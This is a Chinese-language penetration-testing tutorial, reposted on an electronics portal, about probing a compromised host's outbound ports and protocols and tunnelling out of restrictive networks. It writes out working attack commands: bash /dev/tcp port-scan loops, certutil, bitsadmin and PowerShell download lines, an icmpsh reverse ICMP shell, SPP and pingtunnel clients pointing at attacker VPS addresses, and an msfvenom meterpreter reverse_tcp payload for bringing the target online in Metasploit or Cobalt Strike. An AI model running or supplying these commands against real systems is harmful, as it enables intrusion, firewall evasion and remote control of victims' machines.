0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

出网探测是什么

jf_vLt34KHi 来源:Tide安全团队 作者: komorebi 2022-10-20 14:26 次阅读

出网探测

出网探测就是要探测出网协议,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。

目标禁止出站ip

如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。(因为白名单ip没有办法拿到权限)。

禁止出站端口

Linux系统使用Linux系统自带命令探测出网端口。( 探测目标机器可以访问baidu.com对应ip的端口)

foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i***********************open************************"||echo"$iclosed";done
8e2b74f4-4f8f-11ed-a3b6-dac502259ad0.png

webshell不好回显结果,将结果写入文件中

foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
8e4e41b4-4f8f-11ed-a3b6-dac502259ad0.png

探测常见端口

foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt

攻击端的端口请求记录

从目标发起的端口访问请求,攻击端必须得配合记录,否则即便找到有效的出站端口,我们也无法获悉。思路一,单个逐次监听端口。对于少量端口的探测,攻击端很容易记录。比如,要验证 windows 目标的 8088 端口是否为出站端口,先在攻击端用 nc -n -v -lp 8088 监听 8088,指定 -v 选项观察实时访问记录,再在目标上用 telnet 192.168.56.8 8088 连接攻击端的 8088 端口,最后在攻击端查看端口访问记录,若有则该端口是有效出站端口,若无则重复以上步骤继续验证其他端口。

二,批量捆绑监听端口。试想一下,如果能够把攻击端的多个端口流量转发至单个汇聚端口,就只需监听单个汇聚端口,目标上发起多个端口探测,只要在攻击端转发的多个端口的范围内,那么,一旦找到有效出站端口,攻击端的汇聚端口一定有访问记录。说到端口转发,系统自带的 ssh、iptables,三方的 frp、nps,这些工具都能高效实现,于是,我从这四个工具中找寻具备端口捆绑能力的那位 攻击端这边需要有⽬标机访问的记录,才能更好的判断⽬标机器是否访问了我们。只要⽬标机器访问到 了我们VPS的任意⼀个端⼝,我们这边都能有记录。//将所有端⼝的流量都绑定到34444端⼝

iptables-APREROUTING-tnat-ptcp--dport1:65535-jREDIRECT--to-port34444

//查看nat表的规则

iptables-tnat-nvL

//清除nat表所有规则

iptables-tnat-F

//备份iptables规则

iptables-save>/tmp/firewall.rules

//恢复iptables规则

iptables-restore< /tmp/firewall.rules

配置防⽕墙规则,禁⽌访问远程机器的1-34566和34566-65535端⼝,也就是说只允许访问34567端⼝然后我们这边监听34444端⼝,在⽬标机器端⼝探测

8ea18c5c-4f8f-11ed-a3b6-dac502259ad0.png

禁止出站协议

对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。

探测ICMP协议服务端

监听ICMP流量:

tcpdumpicmp

客户端ping VPS地址,查看服务端能否收到请求VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出⽹。也可以直接ping⼀个地址,看是否 有ttl值。

探测DNS协议

Windows:

nslookup、ping

Linux:

nslookup、dig、ping

通过判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。

探测HTTP协议

Linux:可以使用curl命令

curlhttp://192.168.10.13

Windows系统可以使用如下的命令

certutil-urlcache-split-fhttp://www.baidu.com
bitsadmin/transfertesthttp://192.168.10.13/1c:1
powershelliwr-Urihttp://www.baidu.com-OutFile1-UseBasicParsing

只有ICMP协议出网

目标只有icmp协议能出⽹的话,则只有考虑使⽤icmp协议来搭建隧道。利⽤icmp协议通信的⼯具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常⻅的ping命令就是利⽤的ICMP协议。

icmpsh(2016+kali2017)

icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。使用ICMP进行命令控制(Icmpsh)适⽤场景:⽬标机器是Windows服务器 Linux服务器执行

#关闭icmp回复,如果要开启icmp回复,该值设置为0
sysctl-wnet.ipv4.icmp_echo_ignore_all=1
#运⾏,第⼀个IP是VPS的eth0⽹卡IP(vps上ifconfig可以得到),第⼆个IP是⽬标机器出⼝的公⽹IP
python2icmpsh_m.py192.168.10.8192.168.10.7

目标机器的操作:

icmpsh.exe-t192.168.10.8
8eafaabc-4f8f-11ed-a3b6-dac502259ad0.png

可以看到已经反弹出一个shell

ICMP上线CS

有如下场景,我们拿到了内⽹的机器权限。但是机器对外均只有icmp协议出网,我们现在可以利⽤icmp封装tcp协议,让其上线cs。

使用SPP

平常演练常用的一些隧道工具像frp,nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境,比如只有icmp可以出网的情况,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三个特点:、 支持icmp、kcp、quic 支持双向的代理 可以自由进行内部外协议的组合

功能:支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理 协议和类型可以自由组合 外部代理协议和内部转发协议可以自由组合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服务器端

./spp-typeserver-protoricmp-listen0.0.0.0

客户端

spp-name"test"-typeproxy_client-server140.143.167.58-fromaddr:8082-toaddr:8081-proxyprototcp-protoricmp
8ee3edcc-4f8f-11ed-a3b6-dac502259ad0.png

pingtunnel上线MSF&CS

1、pingtunnel下载链接

https://github.com/esrrhs/pingtunnel/releases

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件;ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密 2 vps服务端开启

##开启服务器模式
./pingtunnel-typeserver

3、客户端开启上传客户端

##客户端本地监听9999端口,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口
pingtunnel.exe-typeclient-l127.0.0.1:9999-sicmpserver_ip-t82.157.64.237:7778-tcp1-noprint1-nolog1

4、MSF上线

msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=127.0.0.1LPORT=9999-fexe-oAAA.exe

5、cs上线 建立监听127.0.0.1:9999和192.168.3.76:7777 对127的监听生成木马AAA.exe,传到靶机运行

pingtunnel.exe-typeclient-l127.0.0.1:9999-s192.168.3.76-t192.168.3.76:7777-tcp1-noprint1-nolog1

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    87

    文章

    10992

    浏览量

    206745
  • WINDOWS
    +关注

    关注

    3

    文章

    3440

    浏览量

    87145
  • 端口
    +关注

    关注

    4

    文章

    820

    浏览量

    31597

原文标题:隧道与端口转发

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    金属探测和X射线探测

    在线污染物检测市场持续增长,包括金属探测和成本较高的X射线探测。同时,X射线探测和视觉系统提供的表面检查也在更加广阔的质量控制领域占有了重要地位。
    发表于 01-12 15:02 49次下载

    红外探测器基本介绍

    红外探测器基本介绍 接近探测器 (传感器)是一种当入侵者接近它时能触发报警的探测装置。在接近探测器中,通常有一个高频率的LC
    发表于 12-29 11:56 1253次阅读

    地下管线探测技术与探测程序

     1、地下管线探测技术简介   地下管线探测技术已应用多年。早在第二次世界大战末,人们为了寻找
    发表于 11-03 11:15 1677次阅读

    探测器和光电发射探测器等光辐射探测技术的解析

    本文介绍了光辐射探测器基础、热探测器、光电发射探测器和光电导等光辐射探测技术的介绍。
    发表于 11-18 11:26 11次下载
    热<b class='flag-5'>探测</b>器和光电发射<b class='flag-5'>探测</b>器等光辐射<b class='flag-5'>探测</b>技术的解析

    光电探测器有哪些!如何选型

     光探测器按照工作原理和结构,通常分为光电探测器和热电探测器,其中光电探测器包括真空光电器件(光电倍增管等)和固体光电探测器(光电二极管、光
    发表于 11-28 09:04 2.4w次阅读
    光电<b class='flag-5'>探测</b>器有哪些!如何选型

    探测器分类

    本视频主要详细介绍了热探测器分类,热探测器常被分为四种:气动探测器(高莱管)、热电偶或热电堆、热敏电阻、热释电探测器。
    的头像 发表于 12-19 15:46 4796次阅读

    闪烁探测探测原理_闪烁探测器的结构组成

    闪烁探测器由闪烁体,光电倍增管,电源和放大器,分析器,定标器系统组成,现代闪烁探测器往往配备有计算机系统来处理测量结果。
    的头像 发表于 12-06 09:44 1.6w次阅读

    温度探测仪器探测性能评估和功能需求研究

    探测仪器的探测性能是决定探测数据质量的关键因素,对探测仪器的探测性能进行准确评估也是准确评估探测
    的头像 发表于 08-11 09:02 1990次阅读
    温度<b class='flag-5'>探测</b>仪器<b class='flag-5'>探测</b>性能评估和功能需求研究

    金属探测仪能探测到什么东西_能探测多少米

    对于金属探测仪能探测到什么,我想这不光是路人关心的点,也是很多探友玩家想知道的点。看过很多卖家打着能探到铜钱和银元的旗号进行宣传,个人认为只要是金属探测器,能探到这些都是基本的吧,毕竟它们的统称
    的头像 发表于 01-12 15:18 5.4w次阅读

    金属探测器能探黄金吗_金属探测器怎么藏手机

    金属探测器能探测到黄金。但是普通的金探测器对小颗粒金灵敏度低,一般探测到的天然金多为小颗专粒金属,甚属至小到零点几克,像这样的金属普通的金属探测
    的头像 发表于 01-12 15:30 4.2w次阅读

    红外线探测探测范围_红外线探测器的作用

    不同波长的红外线探测探测距离不同,一般波长为200到300nm的探测距离为300米深,305到420nm的探测距离为480米左右,420到500nm的
    的头像 发表于 01-12 15:44 1.2w次阅读

    声波探测仪是什么_声波探测仪的组成

    声波探测仪(生命探测仪)是美国超视安全系统公司于2005年新近推出的一种安全救生系统,是现在世界上最先进的生命探测系统。
    发表于 02-26 14:27 3326次阅读

    红外探测器——热探测器详解

    红外探测器是红外热成像仪的核心器件,是探测、识别和分析物体的关键。红外探测器的分类有多种形式,按工作原理划分为红外探测器可分为热探测器和光子
    的头像 发表于 11-08 11:43 1819次阅读
    红外<b class='flag-5'>探测</b>器——热<b class='flag-5'>探测</b>器详解

    红外探测器:热探测器与光子探测

    红外探测器是红外热成像技术领域的核心器件,其主要用于检测物体发出的红外辐射。按照探测器原理不同,红外探测器通常可以分为两大类:热探测器和光子探测
    的头像 发表于 07-19 17:12 1387次阅读
    红外<b class='flag-5'>探测</b>器:热<b class='flag-5'>探测</b>器与光子<b class='flag-5'>探测</b>器

    金属探测仪原理 金属探测仪可以探测哪些金属

    金属探测仪原理及探测范围 金属探测仪是一种用于检测物体中金属的设备。它主要应用于安全领域,如警察、安保人员、海关等部门的金属检测工作。金属探测仪的原理是基于电磁感应和电桥平衡原理。 一
    的头像 发表于 02-14 15:03 1145次阅读